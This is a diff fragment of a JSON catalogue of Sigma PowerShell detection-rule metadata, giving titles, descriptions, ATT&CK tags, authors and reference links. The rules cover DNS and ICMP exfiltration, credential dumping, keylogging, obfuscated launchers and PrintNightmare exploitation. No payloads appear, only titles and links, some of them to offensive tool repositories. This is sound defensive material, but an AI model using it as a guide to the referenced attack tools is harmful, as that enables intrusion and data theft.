+ "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/24", + "filename": "posh_ps_dnscat_execution.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate usage of PowerShell Dnscat2 \u2014 DNS Exfiltration tool (unlikely)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", + "uuid": "99c49d9c-34ea-45f7-84a7-4751ae6b2cbc", + "value": "Dump Credentials from Windows Credential Manager With PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ], + "creation_date": "2021/12/20", + "filename": "posh_ps_dump_password_windows_credential_manager.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", + "uuid": "991a9744-f2f0-44f2-bd33-9092eba17dc3", + "value": "Enable Windows Remote Management", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_enable_psremoting.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect built in PowerShell cmdlet Enable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", + "uuid": "55c925c1-7195-426b-a136-a9396800e29b", + "value": "Enable-WindowsOptionalFeature Command PowerShell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_windowsoptionalfeature.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/10", + "filename": "posh_ps_enable_windowsoptionalfeature.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", + "uuid": "603c6630-5225-49c1-8047-26c964553e0e", + "value": "Enumerate Credentials from Windows Credential Manager With PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enumerate_password_windows_credential_manager.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ], + "creation_date": "2021/12/20", + "filename": "posh_ps_enumerate_password_windows_credential_manager.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of powershell cmdlets to disable or remove ETW trace sessions", + "uuid": "115fdba9-f017-42e6-84cf-d5573bf2ddf8", + "value": "Disable of ETW Trace", + "meta": { + "refs": [ + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_etw_trace_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562.006", + "car.2016-04-002" + ], + "creation_date": "2022/06/28", + "filename": "posh_ps_etw_trace_evasion.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.", + "uuid": "15b7abbb-8b40-4d01-9ee2-b51994b1d474", + "value": "Suspicious PowerShell Mailbox SMTP Forward Rule", + "meta": { + "refs": [ + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2022/10/26", + "filename": "posh_ps_exchange_mailbox_smpt_forwarding_rule.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the cmdlet to forward emails" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions.\n", + "uuid": "d23f2ba5-9da0-4463-8908-8ee47f614bb9", + "value": "Powershell File and Directory Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2021/12/15", + "filename": "posh_ps_file_and_directory_discovery.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", + "uuid": "95afc12e-3cbb-40c3-9340-84a032e596a3", + "value": "Service Registry Permissions Weakness Check", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.011" + ], + "creation_date": "2021/12/30", + "filename": "posh_ps_get_acl_service.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory.\nThese include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.\n", + "uuid": "060c3ef1-fd0a-4091-bf46-e7d625f60b73", + "value": "Suspicious Get-ADReplAccount", + "meta": { + "refs": [ + "https://www.powershellgallery.com/packages/DSInternals", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.006" + ], + "creation_date": "2022/02/06", + "filename": "posh_ps_get_adreplaccount.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", + "uuid": "e0565f5d-d420-4e02-8a68-ac00d864f9cf", + "value": "Automated Collection Bookmarks Using Get-ChildItem PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1217" + ], + "creation_date": "2021/12/13", + "filename": "posh_ps_get_childitem_bookmarks.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", + "uuid": "f5d1def8-1de0-4a0e-9794-1f6f27dd605c", + "value": "PowerShell Hotfix Enumeration", + "meta": { + "refs": [ + "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/06/21", + "filename": "posh_ps_hotfix_enum.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administration scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", + "uuid": "4c4af3cd-2115-479c-8193-6b8bfce9001c", + "value": "PowerShell ICMP Exfiltration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2020/10/10", + "filename": "posh_ps_icmp_exfiltration.yml", + "author": "Bartlomiej Czyz @bczyz1, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate usage of System.Net.NetworkInformation.Ping class" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts that import modules from suspicious directories", + "uuid": "21f9162c-5f5d-4b01-89a8-b705bd7d10ab", + "value": "Import PowerShell Modules From Suspicious Directories", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_import_module_susp_dirs.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/07/07", + "filename": "posh_ps_import_module_susp_dirs.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", + "uuid": "7b836d7f-179c-4ba4-90a7-a7e60afb48e6", + "value": "Execute Invoke-command on Remote Host", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_invoke_command_remote.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel", + "uuid": "d59d7842-9a21-4bc6-ba98-64bfe0091355", + "value": "Powershell DNSExfiltration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh", + "https://github.com/Arno0x/DNSExfiltrator", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2022/01/07", + "filename": "posh_ps_invoke_dnsexfiltration.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet name for PrintNightmare exploitation.", + "uuid": "6d3f1399-a81c-4409-aff3-1ecfe9330baf", + "value": "PrintNightmare Powershell Exploitation", + "meta": { + "refs": [ + "https://github.com/calebstewart/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_nightmare.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2021/08/09", + "filename": "posh_ps_invoke_nightmare.yml", + "author": "Max Altgelt, Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "73e67340-0d25-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_ps_invoke_obfuscation_clip.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", + "uuid": "1b9dc62e-6e9e-42a3-8990-94d7a10007f7", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/08", + "filename": "posh_ps_invoke_obfuscation_obfuscated_iex.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "779c8c12-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_ps_invoke_obfuscation_stdin.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "0adfbc14-0ed1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "posh_ps_invoke_obfuscation_var.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "20e5497e-331c-4cd5-8d36-935f6e2a9a07", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_ps_invoke_obfuscation_via_compress.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "e6cb92b4-b470-4eb8-8a9d-d63e8583aae0", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "posh_ps_invoke_obfuscation_via_rundll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "posh_ps_invoke_obfuscation_via_stdin.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "db92dd33-a3ad-49cf-8c2c-608c3e30ace0", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "posh_ps_invoke_obfuscation_via_use_clip.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "e55a5195-4724-480e-a77e-3ebe64bd3759", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/08", + "filename": "posh_ps_invoke_obfuscation_via_use_mhsta.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/08", + "filename": "posh_ps_invoke_obfuscation_via_use_rundll32.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "e54f5149-6ba3-49cf-b153-070d24679126", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "posh_ps_invoke_obfuscation_via_var.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", + "uuid": "34f90d3c-c297-49e9-b26d-911b05a4866c", + "value": "Powershell Keylogging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml" + ], + "tags": [ + "attack.collection", + "attack.t1056.001" + ], + "creation_date": "2021/07/30", + "filename": "posh_ps_keylogging.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", + "uuid": "4fdc44df-bfe9-4fcc-b041-68f5a2d3031c", + "value": "Powershell LocalAccount Manipulation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/12/28", + "filename": "posh_ps_localuser.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", + "uuid": "4a241dea-235b-4a7e-8d76-50d817b146c4", + "value": "Suspicious PowerShell Mailbox Export to Share - PS", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" + ], + "tags": [ + "attack.exfiltration" + ], + "creation_date": "2022/10/26", + "filename": "posh_ps_mailboxexport_share.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", + "uuid": "89819aa4-bbd6-46bc-88ec-c7f7fe30efa6", + "value": "Malicious PowerShell Commandlets", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_malicious_commandlets.yml", + "author": "Sean Metcalf (source), Florian Roth (rule), Bartlomiej Czyz @bczyz1 (update), oscd.community (update), Nasreddine Bencherchali (update), Tim Shelton (fp), Mustafa Kaan Demir (update)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords from well-known PowerShell exploitation frameworks", + "uuid": "f62176f3-8128-4faa-bf6c-83261322e5eb", + "value": "Malicious PowerShell Keywords", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_malicious_keywords.yml", + "author": "Sean Metcalf (source), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", + "uuid": "cd185561-4760-45d6-a63e-a51325112cae", + "value": "Live Memory Dump Using Powershell", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml" + ], + "tags": [ + "attack.t1003" + ], + "creation_date": "2021/09/21", + "filename": "posh_ps_memorydump_getstoragediagnosticinfo.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Diagnostics" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", + "uuid": "b7216a7d-687e-4c8d-82b1-3080b2ad961f", + "value": "Modify Group Policy Settings - ScriptBlockLogging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484.001" + ], + "creation_date": "2022/08/19", + "filename": "posh_ps_modify_group_policy_settings.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", + "uuid": "78aa1347-1517-4454-9982-b338d6df8343", + "value": "Powershell MsXml COM Object", + "meta": { + "refs": [ + 